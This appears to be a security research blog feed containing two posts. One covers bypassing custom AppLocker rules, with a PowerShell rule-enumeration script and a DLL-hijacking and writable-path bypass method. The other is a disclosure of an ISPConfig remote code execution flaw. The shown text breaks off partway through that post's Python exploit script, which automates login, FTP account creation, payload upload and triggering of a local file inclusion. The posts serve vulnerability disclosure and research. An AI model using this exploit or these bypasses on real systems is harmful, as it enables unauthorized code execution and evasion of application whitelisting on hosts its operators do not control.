<p>Fortunately for us, there is a powershell module named AppLocker, which can query the AppLocker rules that are enforced on the current system. Below is a simple powershell script that outputs the rules in a readable format so you can use this information to bypass them.</p>
<div class="language-ps highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">Import-Module</span> <span class="nf">AppLocker</span>
<span class="p">[</span><span class="nf">xml</span><span class="p">]</span><span class="nf">$data</span> <span class="nf">=</span> <span class="nf">Get-AppLockerPolicy</span> <span class="nf">-effective</span> <span class="nf">-xml</span>
<span class="nf">#</span> <span class="nf">Extracts</span> <span class="nf">All</span> <span class="nf">Rules</span> <span class="kr">and</span> <span class="nb">print</span> <span class="nf">them.</span>
<span class="nf">Write-Output</span> <span class="nf">"</span><span class="p">[</span><span class="nf">+</span><span class="p">]</span> <span class="nf">Printing</span> <span class="nf">Applocker</span> <span class="nf">Rules</span> <span class="p">[</span><span class="nf">+</span><span class="p">]</span><span class="nf">`n"</span>
<span class="s">($data.AppLockerPolicy.RuleCollection | ? { $_.EnforcementMode -match "Enabled" })</span> <span class="nf">|</span> <span class="nf">ForEach-Object</span> <span class="nf">-Process</span> <span class="p">{</span>
<span class="nf">Write-Output</span> <span class="s">($_.FilePathRule | Where-Object {$_.Name -NotLike "(Default Rule)*"})</span> <span class="nf">|</span> <span class="nf">ForEach-Object</span> <span class="nf">-Process</span> <span class="p">{</span><span class="nf">Write-Output</span> <span class="nf">"===</span> <span class="nf">File</span> <span class="nf">Path</span> <span class="nf">Rule</span> <span class="nf">===`n`n</span> <span class="nf">Rule</span> <span class="nf">Name</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Name)</span> <span class="nf">`n</span> <span class="nf">Condition</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Conditions.FilePathCondition.Path)</span><span class="nf">`n</span> <span class="nf">Description:</span> <span class="nf">$</span><span class="s">($_.Description)</span> <span class="nf">`n</span> <span class="nf">Group</span><span class="nv">/SID</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.UserOrGroupSid)</span><span class="nf">`n`n"</span><span class="p">}</span>
<span class="nf">Write-Output</span> <span class="s">($_.FileHashRule)</span> <span class="nf">|</span> <span class="nf">ForEach-Object</span> <span class="nf">-Process</span> <span class="p">{</span> <span class="nf">Write-Output</span> <span class="nf">"===</span> <span class="nf">File</span> <span class="nf">Hash</span> <span class="nf">Rule</span> <span class="nf">===`n`n</span> <span class="nf">Rule</span> <span class="nf">Name</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Name)</span> <span class="nf">`n</span> <span class="nf">File</span> <span class="nf">Name</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Conditions.FileHashCondition.FileHash.SourceFileName)</span> <span class="nf">`n</span> <span class="nf">Hash</span> <span class="nf">type</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Conditions.FileHashCondition.FileHash.Type)</span> <span class="nf">`n</span> <span class="nf">Hash</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Conditions.FileHashCondition.FileHash.Data)</span> <span class="nf">`n</span> <span class="nf">Description:</span> <span class="nf">$</span><span class="s">($_.Description)</span> <span class="nf">`n</span> <span class="nf">Group</span><span class="nv">/SID</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.UserOrGroupSid)</span><span class="nf">`n`n"</span><span class="p">}</span>
<span class="nf">Write-Output</span> <span class="s">($_.FilePublisherRule | Where-Object {$_.Name -NotLike "(Default Rule)*"})</span> <span class="nf">|</span> <span class="nf">ForEach-Object</span> <span class="nf">-Process</span> <span class="p">{</span><span class="nf">Write-Output</span> <span class="nf">"===</span> <span class="nf">File</span> <span class="nf">Publisher</span> <span class="nf">Rule</span> <span class="nf">===`n`n</span> <span class="nf">Rule</span> <span class="nf">Name</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Name)</span> <span class="nf">`n</span> <span class="nf">PublisherName</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Conditions.FilePublisherCondition.PublisherName)</span> <span class="nf">`n</span> <span class="nf">ProductName</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Conditions.FilePublisherCondition.ProductName)</span> <span class="nf">`n</span> <span class="nf">BinaryName</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Conditions.FilePublisherCondition.BinaryName)</span> <span class="nf">`n</span> <span class="nf">BinaryVersion</span> <span class="nf">Min.</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Conditions.FilePublisherCondition.BinaryVersionRange.LowSection)</span> <span class="nf">`n</span> <span class="nf">BinaryVersion</span> <span class="nf">Max.</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.Conditions.FilePublisherCondition.BinaryVersionRange.HighSection)</span> <span class="nf">`n</span> <span class="nf">Description:</span> <span class="nf">$</span><span class="s">($_.Description)</span> <span class="nf">`n</span> <span class="nf">Group</span><span class="nv">/SID</span> <span class="nf">:</span> <span class="nf">$</span><span class="s">($_.UserOrGroupSid)</span><span class="nf">`n`n"</span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The script will try to find all the AppLocker rules that don’t have the <code class="language-plaintext highlighter-rouge">Default Rule</code> in their name and then output the FilePath,FilePublisher and FileHash rules.</p>
<p>An example output can be seen below.</p>
<center>
<img src="/images/script-output.png" />
<br /><br /></center>
<p>Now that we have a way to view the custom rules let’s try to bypass them.</p>
<h1 id="bypassing-file-hash-rules">Bypassing File Hash Rules</h1>
<p>This is another common rule that you can bypass easily and used widely in organizations. To bypass the File Hash rule you need to have a practical attack against SHA256 because it’s the default hashing algorithm in AppLocker. The only way we can abuse this kind of rule is that the executable in the condition has the ability to arbitrary load code which is not that common but also that has a DLL Hijacking Vulnerability which is more probable.</p>
<p>For example, there is a DLL Hijacking Vulnerability in Process Explorer which can be abused to load our malicious code.</p>
<p>Monitoring the process of <code class="language-plaintext highlighter-rouge">ProcExp.exe</code> it tries to load the dll named <code class="language-plaintext highlighter-rouge">MPR.dll</code> as can be seen in the image below.</p>
<center>
<img src="/images/dll-hijack.png" />
<br /><br /></center>
<p>There is a file hash rule that allows Process Explorer to run as can be seen above.</p>
<center>
<img src="/images/file-hash-rule.png" />
<br /><br /></center>
<p>I created a custom DLL that exported the functions required by Process Explorer and also a function which will execute calc.exe.</p>
<center>
<img src="/images/proc-exp-dll-exec.png" />
<br /><br /></center>
<p>In a real-life scenario the DLL should be a payload that injects itself in the memory and should avoid dropping binaries.</p>
<p>This method will work only if the DLL Rules are not enforced. This is the case most of the time because enabling them will reduce the performance of the system.</p>
<h1 id="bypassing-file-path-rules">Bypassing File Path Rules</h1>
<p>File Path rules are one of the most common rules you will find and also one of the best vectors to bypass AppLocker.
This rule condition identifies an application by its location in the file system of the computer or on the network.
Usually there is a path or file location specified in the rule condition. For example in my lab I created a sample rule which would allow every executable on the <code class="language-plaintext highlighter-rouge">C:\Python27\</code> directory to execute as can be seen in the image below.</p>
<center>
<img src="/images/file-path-rule.png" />
<br /><br /></center>
<p>If the directory from the rule is writable you can write your executable there which will make it possible to bypass AppLocker.</p>
<center>
<img src="/images/file-path-bypass-successfully.png" />
<br /><br /></center>
<h1 id="bypassing-file-publisher-rules">Bypassing File Publisher Rules</h1>
<p>This condition identifies an app based on its digital signature and extended attributes when available. The digital signature contains info about the company that created the app (the publisher). Executable files, dlls, Windows installers, packaged apps and packaged app installers also have extended attributes, which are obtained from the binary resource. In case of executable files, dlls and Windows installers, these attributes contain the name of the product that the file is a part of, the original name of the file as supplied by the publisher, and the version number of the file. In case of packaged apps and packaged app installers, these extended attributes contain the name and the version of the app package.</p>
<p>This kind of rule condition is one of the safest and the bypasses are very limited. AppLocker checks if the signature is valid or not , so you can’t just sign them with untrusted certificates. There is a research about making valid signatures on Windows by Matt of SpecterOps, but that method requires Administrator privileges and AppLocker by default allows Administrators to execute any application.</p>
<p>A method to bypass this would be the same as the previous File Hash bypass, by using a DLL Hijacking or an application that is signed and can load arbitrary code in memory. For example if the rule allows all Microsoft signed binaries then you can use a Process Explorer.
Process Explorer is signed and also has a DLL Hijacking vulnerability which can be used to bypass AppLocker.
You can use the same process as described in the FileHash bypass previously on the post.</p>
<h1 id="final-thoughts">Final thoughts</h1>
<p>This are some techniques that have worked for me in the wild and decided to share with the community.
There are probably more ways to bypass custom rules and I really hope this post inspires more people to do research on this field.</p>
<h3 id="references">References</h3>
<p><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules">https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules</a></p>
<p><a href="https://msitpros.com/?p=2012">https://msitpros.com/?p=2012</a></p>Introduction Applocker is becoming one of the most implemented security features in big organizations. Implementing AppLocker reduces your risk dramatically especially for workstations. Unfortunately for the blue-team, there are a lot of custom configurations that are required for AppLocker apart from the default rules which may open some gaps on your security posture. There are a lot of posts that describe how to bypass Applocker default rules but in this blogpost I will describe the steps that you can take to bypass custom rules, how to find them, parse them and use this information to bypass them.Bug or Backdoor - Exploiting a Remote Code Execution in ISPConfig2018-08-20T00:00:00+00:002018-08-20T00:00:00+00:00https://0x09al.github.io/security/ispconfig/exploit/vulnerability/2018/08/20/bug-or-backdoor-ispconfig-rce<h2 id="introduction">Introduction</h2>
<p>In this blogpost I will write about a suspicion I had which turned out to be false, how regex-es can go wrong and also how to chain logic features to achieve reliable Remote Command Execution.</p>
<p>I was having a coffe with one of my friends who works at a web-hosting company and talking about the software they use. There I heard about ISPConfig and how many features and secure it was.Since I had some free time , I decided to have a look at it and managed to find a critical vulnerability in it.</p>
<h2 id="finding-the-vulnerability">Finding the vulnerability</h2>
<p>I downloaded and installed ISPConfing on a Ubuntu VM and started analyzing the source code.
There were a lot of bad practices in the code, but there were also a lot of checks which made most of the code unexploitable.ISPConfig works as a system which contains clients,
and they can create websites, ftp accounts etc., but all of them are on their own chroot.</p>
<p>The first thing that I do when I audit some software is to find out what the attack surface is, and what kind of bugs I want to find. Seeing this kind of architecture I decided to audit the code that was exposed from a client user. So I started auditing it , and after a lot of failed attempts because of the aggressive checks done by ISPConfig, I found something interesting in the <code class="language-plaintext highlighter-rouge">user_settings.php</code> file.</p>
<p>On almost any file there is a call to <code class="language-plaintext highlighter-rouge">include ISPC_ROOT_PATH.'/web/login/lib/lang/'.$_SESSION['s']['language'].'.lng';</code> Searching a little bit of where this value was initialized I found the source code below.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/[a-z]{2}/'</span><span class="p">,</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'language'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'s'</span><span class="p">][</span><span class="s1">'user'</span><span class="p">][</span><span class="s1">'language'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'language'</span><span class="p">];</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'s'</span><span class="p">][</span><span class="s1">'language'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'language'</span><span class="p">];</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$app</span><span class="o">-></span><span class="nf">error</span><span class="p">(</span><span class="s1">'Invalid language.'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>And I was like: “Come on , not regex checks again.”</p>
<p>But after reading the regex I noticied a flaw in the logic. The problem is that every string that contains two [a-z] characters will match the regex, and there were no further checks for path traversal attacks.</p>
<p>This was very strange since all of the regexes in the code had the <code class="language-plaintext highlighter-rouge">^ regex-pattern $</code> which only matched if the entire string matched the pattern not only a part of it.</p>
<p>Seeing this I was suspicious if this was a backdoor and not some random flaw, but after talking with Till (Maintainer of ISPConfig) he told me that it wasn’t the case and the code dated back as the first version of ISPConfig 3 and it was something that was missed during the internal audits.</p>
<h2 id="exploiting-the-vulnerability">Exploiting the vulnerability</h2>
<p>From the analysis now we have a directory traversal which can be abused for local file inclusion attacks.</p>
<p>Since in the new versions of php we can not use null byte injections, either a path-truncation attack but we can create a ftp-account, upload the file we want to include with <code class="language-plaintext highlighter-rouge">.lng</code> extension at our path and the code will get executed as the ispconfig account and not as our chroot-ed account.</p>
<p>So the idea of the exploit is like this :</p>
<ol>
<li>Create a Site</li>
<li>Create an FTP Account</li>
<li>Disclose the current path of the FTP upload directory.</li>
<li>Upload the payload to our directory.</li>
<li>Include the uploaded payload.</li>
<li>RCE Achieved !!!</li>
</ol>
<p>I wrote an exploit for this bug, which automatically did all the steps above by itself.
Below is an image of the exploit in action.</p>
<p><img src="/images/isp-config-exploit.png" alt="Exploiting the vulnerability" /></p>
<h2 id="closing-remarks">Closing remarks</h2>
<p>This was a nice bug to find and could have been missed very easily.
An important thanks goes to Till Brehm who acknoledged the vulnerability and fixed it in 1 day, which is impressive.</p>
<p>You can find more details on how to update <a href="https://www.ispconfig.org/blog/ispconfig-3-1-13-released-important-security-bugfix/">here</a>.</p>
<h1 id="exploit-code">Exploit code</h1>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">ftplib</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">requests.packages.urllib3.exceptions</span> <span class="kn">import</span> <span class="n">InsecureRequestWarning</span>
<span class="n">requests</span><span class="p">.</span><span class="n">packages</span><span class="p">.</span><span class="n">urllib3</span><span class="p">.</span><span class="n">disable_warnings</span><span class="p">(</span><span class="n">InsecureRequestWarning</span><span class="p">)</span>
<span class="n">host</span> <span class="o">=</span> <span class="s">"REPLACE_IP:8080"</span>
<span class="n">username</span> <span class="o">=</span> <span class="s">"REPLACE_Username"</span>
<span class="n">password</span> <span class="o">=</span> <span class="s">"REPLACE_Password"</span>
<span class="n">exp</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">session</span><span class="p">()</span>
<span class="n">user_agent</span> <span class="o">=</span> <span class="s">'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0'</span>
<span class="n">ftp_username</span> <span class="o">=</span> <span class="s">"randomusr1"</span>
<span class="n">domain</span> <span class="o">=</span> <span class="s">"pwnerrr.com"</span>
<span class="n">site_id</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">payload_name</span> <span class="o">=</span> <span class="s">"pwned1"</span>
<span class="n">path</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">'https://%s/login/index.php'</span> <span class="o">%</span> <span class="n">host</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'username'</span><span class="p">:</span><span class="n">username</span><span class="p">,</span><span class="s">'password'</span><span class="p">:</span><span class="n">password</span><span class="p">,</span><span class="s">'s_mod'</span><span class="p">:</span><span class="s">'login'</span><span class="p">,</span><span class="s">'s_pg'</span><span class="p">:</span><span class="s">'index'</span><span class="p">},</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">"wrong"</span><span class="p">)</span><span class="o">></span><span class="mi">0</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"[-] Incorrect credentials [-]"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[+] Logged in Succesfully [+]"</span>
<span class="k">def</span> <span class="nf">createSite</span><span class="p">():</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'https://%s/sites/web_vhost_domain_edit.php'</span> <span class="o">%</span> <span class="n">host</span><span class="p">,</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">_csrf_key</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="_csrf_key" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">_csrf_id</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="_csrf_id" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">phpsessid</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="phpsessid" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">'https://%s/sites/web_vhost_domain_edit.php'</span> <span class="o">%</span> <span class="n">host</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'server_id'</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span><span class="s">'ip_address'</span><span class="p">:</span><span class="s">'*'</span><span class="p">,</span><span class="s">'ipv6_address'</span><span class="p">:</span><span class="s">''</span><span class="p">,</span><span class="s">'domain'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">domain</span><span class="p">,</span><span class="s">'hd_quota'</span><span class="p">:</span><span class="mi">1024</span><span class="p">,</span><span class="s">'traffic_quota'</span><span class="p">:</span><span class="mi">1024</span><span class="p">,</span><span class="s">'subdomain'</span><span class="p">:</span><span class="s">'www'</span><span class="p">,</span><span class="s">'php'</span><span class="p">:</span><span class="s">'no'</span><span class="p">,</span><span class="s">'fastcgi_php_version'</span><span class="p">:</span><span class="s">''</span><span class="p">,</span><span class="s">'active'</span><span class="p">:</span><span class="s">'y'</span><span class="p">,</span><span class="s">'id'</span><span class="p">:</span><span class="s">''</span><span class="p">,</span><span class="s">'_csrf_id'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">_csrf_id</span><span class="p">,</span><span class="s">'_csrf_key'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">_csrf_key</span><span class="p">,</span><span class="s">'next_tab'</span><span class="p">:</span><span class="s">''</span><span class="p">,</span><span class="s">'phpsessid'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">phpsessid</span><span class="p">},</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="k">pass</span>
<span class="k">def</span> <span class="nf">createFtp</span><span class="p">():</span>
<span class="k">global</span> <span class="n">site_id</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'https://%s/sites/ftp_user_edit.php'</span> <span class="o">%</span> <span class="n">host</span><span class="p">,</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"[+] Getting IDSof the sites [+]"</span>
<span class="n">temp_array</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'<option value='</span><span class="p">)</span>
<span class="n">nr_sites</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">temp_array</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"[+] Number of sites %d [+]"</span> <span class="o">%</span> <span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">nr_sites</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="c1"># Find the latest created site by checking the ID.
</span> <span class="n">max_id</span> <span class="o">=</span> <span class="o">-</span><span class="mi">9999</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">nr_sites</span><span class="p">):</span>
<span class="n">temp</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">temp_array</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'>'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="s">"'"</span><span class="p">,</span><span class="s">""</span><span class="p">))</span>
<span class="k">if</span><span class="p">(</span><span class="n">temp</span> <span class="o">></span> <span class="n">max_id</span><span class="p">):</span>
<span class="n">max_id</span> <span class="o">=</span> <span class="n">temp</span>
<span class="n">site_id</span> <span class="o">=</span> <span class="n">max_id</span>
<span class="k">print</span> <span class="s">"[+] Newly created site id is : %d [+]"</span> <span class="o">%</span> <span class="n">site_id</span>
<span class="n">_csrf_key</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="_csrf_key" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">_csrf_id</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="_csrf_id" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">phpsessid</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="phpsessid" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">'https://%s/sites/ftp_user_edit.php'</span> <span class="o">%</span> <span class="n">host</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'parent_domain_id'</span><span class="p">:</span><span class="n">site_id</span><span class="p">,</span><span class="s">'username'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">ftp_username</span><span class="p">,</span><span class="s">'password'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">password</span><span class="p">,</span><span class="s">'repeat_password'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">password</span><span class="p">,</span><span class="s">'quota_size'</span><span class="p">:</span><span class="mi">1024</span><span class="p">,</span><span class="s">'active'</span><span class="p">:</span><span class="s">'y'</span><span class="p">,</span><span class="s">'id'</span><span class="p">:</span><span class="s">''</span><span class="p">,</span><span class="s">'_csrf_id'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">_csrf_id</span><span class="p">,</span><span class="s">'_csrf_key'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">_csrf_key</span><span class="p">,</span><span class="s">'next_tab'</span><span class="p">:</span><span class="s">''</span><span class="p">,</span><span class="s">'phpsessid'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">phpsessid</span><span class="p">},</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"[+] Created FTP Account [+]"</span>
<span class="k">pass</span>
<span class="k">def</span> <span class="nf">uploadPayload</span><span class="p">():</span>
<span class="n">ftp</span> <span class="o">=</span> <span class="n">ftplib</span><span class="p">.</span><span class="n">FTP</span><span class="p">(</span><span class="n">host</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">ftp</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="n">username</span><span class="o">+</span><span class="n">ftp_username</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="n">ftp</span><span class="p">.</span><span class="n">cwd</span><span class="p">(</span><span class="s">"web"</span><span class="p">)</span>
<span class="n">ftp</span><span class="p">.</span><span class="n">storlines</span><span class="p">(</span><span class="s">"STOR %s.lng"</span> <span class="o">%</span> <span class="n">payload_name</span><span class="p">,</span><span class="nb">open</span><span class="p">(</span><span class="s">"test.txt"</span><span class="p">))</span>
<span class="k">print</span> <span class="s">"[+] Payload %s uploaded Succesfully [+]"</span> <span class="o">%</span> <span class="n">payload_name</span>
<span class="k">pass</span>
<span class="k">def</span> <span class="nf">waitTillCreation</span><span class="p">():</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[+] Trying [+]"</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'https://%s/datalogstatus.php'</span> <span class="o">%</span> <span class="n">host</span><span class="p">,</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">temp</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="n">temp</span><span class="p">[</span><span class="s">"count"</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"[+] Everything created .... [+]"</span>
<span class="k">return</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">getRelativePath</span><span class="p">():</span>
<span class="k">global</span> <span class="n">path</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'https://%s/sites/web_vhost_domain_edit.php?id=%d&type=domain'</span> <span class="o">%</span> <span class="p">(</span><span class="n">host</span><span class="p">,</span><span class="n">site_id</span><span class="p">),</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">path</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'Document Root</label>'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'<div class="col-sm-9">'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'<'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">path</span> <span class="o">+=</span> <span class="s">"/web/"</span> <span class="o">+</span> <span class="n">payload_name</span>
<span class="k">print</span> <span class="s">"[+] Uploading payload in %s [+]"</span> <span class="o">%</span> <span class="n">path</span>
<span class="k">def</span> <span class="nf">triggerVuln</span><span class="p">():</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'https://%s/tools/user_settings.php'</span> <span class="o">%</span> <span class="n">host</span><span class="p">,</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">_csrf_key</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="_csrf_key" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">_csrf_id</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="_csrf_id" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">phpsessid</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="phpsessid" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">user_id</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'name="id" value="'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
